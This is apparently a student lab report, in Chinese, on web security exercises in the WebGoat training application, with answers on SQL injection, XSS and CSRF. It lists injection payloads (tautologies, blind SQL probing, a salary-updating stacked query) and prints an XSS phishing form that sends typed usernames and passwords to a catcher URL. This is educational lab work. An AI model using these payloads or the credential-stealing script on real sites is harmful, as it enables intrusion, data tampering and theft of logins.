实验后问题回答

  • (1)SQL注入攻击原理,如何防御

  • 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的

  • 防御手段:利用输入规则限制进行防御,不允许特殊字符输入

  • (2)XSS攻击的原理,如何防御

  • 攻击原理:跨站脚本攻击,允许恶意用户将恶意Script代码注入到网页上,当用户浏览网页时,嵌入其中Web里面的Script代码会被执行,从而被攻击,其他用户在观看网页时就会受到影响。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。

  • 防御手段:过滤特征字符,限制用户输入,拒绝网页的可执行代码输入。

(3)CSRF攻击原理,如何防御

  • 攻击原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
  • 防御手段:通过referer、token或者验证码来检测用户提交在form中包含秘密信息、用户指定的代号作为cookie之外的验证、定期清理保存的cookie

实验过程

  • 首先开启webgoat,在kali的终端中输入java -jar webgoat-container-7.0.1-war-exec.jar,期间需要等待一段时间,等到看到消息显示服务在8080端口开启后,最小化终端开始实验。
  • 还有就是对于代理服务器的使用,在每一个题的开始实践时,要先判断这个题是直接在输入框中注入,还是要截获数据包在代理服务器上注入,对于返回信息中有明显的SQL语句构成的,我们选择直接在输入框中注入,而对于输入进行过滤和限制的,我们选择在代理服务器上抓取数据包,然后再修改注入。

String SQL Injection

  • 这个比较简单,首先看题目我们可知是要考察我们的SQL基本注入,首先点击一下正常网页上的按钮,发现直接显示SQL语句,我们可知应该可以直接在框中输入注入语句,输入最为基本的一个永真式,即可完成注入。
  • 输入 'or 1 = 1',即可显示全部的内容。

step 1 String SQL Injection

  • 这里因为是下拉框式的用户名输入,但是密码是用户输入,所以在密码上构造永真式来解决问题,在捕获数据包后,找到密码字段,依旧构造之前相同永真式即可。

Stage 3:Numeric SQL Injection

  • 首先看题,这里是要求我们使用一个账户名来查看另外一个账户的信息,这里我们要思考一下,如何通过一个人的用户名去获得另外一个人的信息。我先是想到了因为每个人的字段都有特定的编号,如果先使用一个人的用户名,然后在代理这里修改掉,再发送给服务器是否可行呢?
  • 在代理这里修改了用户名字段,101 or 1=1但是结果却是失败了,还是显示的第一个人的LARRY的工资条,这里觉得让我们选择LARRY就是出题人给我们的下的套,设置显示第一个字段大小的表单,这样即使我们修改了用户名,但是还是只能看到位于第一个的LARRY,所以我们这里的思路需要修改一下,把老板的顺序提到最前,因为是老板,所以工资应该是最高的,这里使用101 or 1=1 order by salary desc来将老板的提到最前,显示成功。

String SQL Injection

  • 这里发现有我们可以输入的对话框,要求显示信息,那么我们就使用基本的永真式先尝试一下,然后就发现结果出来,原来这个测试的顺序和难度并没有什么关系。

Database Backdoors

  • 看题目我们可以要让我们对于数据库进行注入修改信息,这个上次实践中的多条语句注入考点类似,所以构建注入语句。
  • 输入101; update employee set salary=10000,即可发现数据库中员工工资数据被修改。

Blind Numeric SQL Injection

  • 由题目得知,盲数字注入,就是说在不知道信息情况下,使用一些逻辑判断方式进行注入。
  • 我们首先尝试默认的101,发现显示Account number is valid,说明这个是真值,说明我们可以进行范围的判断,就是说我们在拥有一个真值后,使用这个进行其他真值的一步步筛选,其实这个题就是让我们去找到一个也是之前设定好的值,首先要做的是确定范围。
  • 输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );得到是真,找到了下限。
  • 输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );这次不符,之后要做的就是使用二分法去找到2364。

Blind String SQL Injection

  • 这里我们盲猜的内容由数字变成了字符串,其实题目给了我们思路,就是英文对照的ASCII码,所以我们在写比较语句时可以直接和字母比较,之前我们使用了二分法去找数字,这里我们可以去找一个一个的字母,最后把它拼接成一个字符串,因为题中还有一个消息就是,cc_number of 4321432143214321这里表明字符串是四个字母构成的,而且下文还提到了是一个名字,让我们注意大写和小写,这里说到小写是吧,其实就是告诉我们第一个字母是大写的,后面是小写的。然后去查了如何比较字符串中的一个字符,得到了下面的输入语句。
  • 输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' );这里的1,1前面的1是表示字符串的第一位,因为第一位是大写,所以来判断,同理来去找其余的三位小写字母。最后找到了那个人叫Jill

Numeric SQL Injection

  • 这个是课上的例子,思路就是在代理处找到用户名字段,然后修改一下,加上一个永真式,即可输出全部的四个城市的天气情况。

Phishing with XSS

  • 这里让我们写一个钓鱼网站,去获取登录人的用户名和密码。直接将写好的钓鱼网页代码输入到文本框后,即可运行。
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Hold on! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

Reflected XSS Attacks

  • 从题得知,这是一个反射型的XSS攻击,类同于第一个,直接构造一段脚本即可发起攻击
  • 输入:<script>alert("so hot");</script>即可成功攻击
  • 注意一点,因为这是直接写入了网页的代码中,所以你会发现如果多次尝试,就会有多次内容弹出。

实验感想和体会

  • 嗨呀,最后实验了是吧,哈哈哈哈哈哈哈哈哈。终于不用写博客了。
  • 虽然这次实验开始做的时候挺难的,开始练题目都看不懂,还好有渣渣的但是帮了大忙的百度机翻,做到最后,其实发现本次的实践难度还可以吧,主要是忘了太多的网页开发编程和SQL语句时硬伤,还得网上搜,有时候一搜就搜到了同学们的博客了,但是其实本门课程还挺有意思的,在这次实践里最能体现的就是看老板工资那次,还得想到老板肯定是挣得最多的,感觉很贴近现实吧,学起来没那么空乏就感觉好理解一些。

20145205武钰《网络对抗》web安全基础实践的更多相关文章

  1. 20145334赵文豪网络对抗Web安全基础实践

    1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...

  2. 2018-2019 20165221 网络对抗 Exp5 MSF基础

    2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...

  3. 20145306 网路攻防 web安全基础实践

    20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...

  4. 20145205武钰_Exp5 MSF基础应用

    20145205武钰_Exp5 MSF基础应用 实验后回答问题 exploit:这个词本身只是利用,但是它在黑客眼里就是漏洞利用.有漏洞不一定就有Exploit(利用).有Exploit就肯定有漏洞. ...

  5. 20155324《网络对抗技术》web安全基础实践

    20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在 ...

  6. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  7. 20145203盖泽双 《网络对抗技术》实践九:Web安全基础实践

    20145203盖泽双 <网络对抗技术>实践九:Web安全基础实践 1.实践目标 1.理解常用网络攻击技术的基本原理. 2.Webgoat下进行相关实验:SQL注入攻击.XSS攻击.CSR ...

  8. 20145236《网络对抗》Exp9 web安全基础实践

    20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  9. 20145215《网络对抗》Exp9 Web安全基础实践

    20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  10. 网络对抗——web基础

    网络对抗--web基础 实践内容 (1)Web前端HTML (2)Web前端javascipt (3)Web后端:MySQL基础:正常安装.启动MySQL,建库.创建用户.修改密码.建表 (4)Web ...

随机推荐

  1. Codeforces 349C - Mafia

    time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standa ...

  2. POJ 2653 - Pick-up sticks - [枚举+判断线段相交]

    题目链接:http://poj.org/problem?id=2653 Time Limit: 3000MS Memory Limit: 65536K Description Stan has n s ...

  3. 0003python中的可变参数

    >>>def foo(x,y,z,*args,**kargs): print x print y print z print args print kargs >>> ...

  4. mongostat和mongotop对mongodb数据库运行状态进行监控

    --mongostat工具是mongdb自带的监控工具,可以用来监控mongodb当前状态下的运行情况: [root@slave2 ~]# /usr/local/mongodb341/bin/mong ...

  5. linux桌面与命令模式切换

    在图形下面按Ctrl+alt+F1(F2\F3\F4)进入命令模式 在命令模式下,按Ctrl+alt+F7回到图形,或登录用户输入startx进入图形!

  6. 最新版OpenWrt编译教程,解决依赖问题

    Install git , to conveniently download the OpenWrt source code, and build tools to do the cross-comp ...

  7. Javascript异步执行时要小心的变量作用域

    function asyncFunction(callback){ setTimeout(function(){ callback() },200); } var color = 'blue'; // ...

  8. CSS 3列等高

    方法1: <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"&g ...

  9. HTML5-CSS3-JavaScript(3)

    我们就从HTML5的基础总结起.希望可以提高自身的基础. HTML5 头部 和 元信息 使用 <head.../> 元素可以定义HTML文档头,该元素可以包含如下子元素. <scri ...

  10. 识别真假搜索引擎(搜索蜘蛛)方法(baidu,google,Msn,sogou,soso等)

    http://www.useragentstring.com/pages/useragentstring.php 今天分析研究了两个网站的 Apache 日志,分析日志虽然很无聊,但却是很有意义的事情 ...